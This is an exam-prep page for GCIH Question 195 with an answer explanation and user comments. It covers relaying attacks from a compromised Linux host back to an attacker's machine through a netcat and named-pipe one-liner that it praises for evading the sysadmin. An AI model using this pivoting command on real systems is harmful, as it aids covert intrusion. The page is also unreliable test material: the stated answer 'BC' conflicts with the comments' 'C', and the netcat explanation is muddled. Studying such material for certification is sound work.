GCIH Exam QuestionsBrowse all questions from this exam

GCIH Exam - Question 195


You have gained access to a Linux box. Which of the following methods would enable you to launch attacks against other systems and send the sessions back to your home PC (10.2.200.1) without altering system config files on the Linux box that might alert the sysadmin?

Show Answer
Correct Answer: BC

To establish a connection and relay data between two network connections without altering system configuration files, the correct approach involves making use of named pipes and netcat. The command 'mkfifo backpipe; nc -l -p 24680 | nc -l -p 54321 10.2.200.1 > backpipe' creates a named pipe (FIFO) called 'backpipe' and utilizes netcat (nc) to listen on port 24680. This netcat instance pipes its input to another netcat instance, which listens on port 54321 at the IP address 10.2.200.1. The final part of the command redirects the output to the named pipe 'backpipe'. This method is stealthy because it avoids altering system configuration files, minimizing the risk of alerting the system administrator.

Discussion

3 comments
Sign in to comment
Vikt0rOption: C
Dec 5, 2023

The correct answer is: C. mkfifo backpipe; nc -l -p 24680 | nc -l -p 54321 10.2.200.1 >backpipe Explanation: This command creates a named pipe (FIFO) called backpipe using mkfifo. It then uses nc (netcat) to listen on port 24680 and pipes the input to another instance of nc listening on port 54321 at IP address 10.2.200.1. The output of this second nc command is redirected to the named pipe (backpipe). This technique allows you to relay data between two network connections. The idea is that one nc command listens on one port, and another nc command connects to that port and relays the data to another system. This method is less likely to be detected by system administrators because it doesn't involve modifying system configuration files directly. It's a relatively stealthy way to establish a network relay without leaving obvious traces in system logs or configuration files.

RezaeeOption: C
Jan 30, 2024

The correct method to achieve this goal is C. mkfifo backpipe; nc -l -p 24680 | nc -l -p 54321 10.2.200.1 > backpipe.

RezaeeOption: C
Jan 31, 2024

The answer is C. mkfifo backpipe; nc -l -p 24680 | nc -l -p 54321 10.2.200.1 > backpipe.